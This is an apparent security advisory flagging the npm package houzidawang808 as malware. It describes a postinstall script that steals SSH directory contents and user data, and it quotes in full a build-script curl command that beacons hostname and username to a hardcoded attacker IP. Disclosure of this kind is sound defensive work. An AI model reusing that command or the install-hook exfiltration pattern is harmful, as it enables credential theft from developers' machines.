VYPR

npm · Malicious package advisory

Malware

houzidawang808

GHSA-rfg7-4xvm-7vhc

Malicious code in houzidawang808 (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (71d6b96fe99e7f8503cb07df05d6b621dc8e8243fc7288844678d8aff043a654)
The package presents itself as a 'simple date formatting utility' (index.js exports a trivial formatDate wrapper around toLocaleDateString), but ships a postinstall.js that runs automatically on npm install. The postinstall script reads the contents of the installer's ~/.ssh directory via fs.readdirSync, collects os.userInfo() username and platform information, and POSTs the data to https://124.221.154.135/post — a hardcoded bare-IP destination with no documented purpose. Chinese-language comments in the file explicitly describe it as SSH-key theft and C2 exfiltration. The package.json additionally declares a build script `curl http://124.221.154.135//pre?h=$(hostname)&u=$(whoami)` that beacons hostname/username over plain HTTP to the same attacker IP, confirming the infrastructure. The benign date-utility facade is a cover story for credential-harvesting on installer machines.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/6936f1922896bcab7881ee1e43ea9b524b16026d/osv/malicious/npm/houzidawang808/MAL-2026-5732.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/6936f1922896bcab7881ee1e43ea9b524b16026d/osv/malicious/npm/houzidawang808/MAL-2026-5732.json
- https://www.npmjs.com/package/houzidawang808/v/1.0.0
- https://github.com/advisories/GHSA-rfg7-4xvm-7vhc

Compromised versions (1)

  • = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.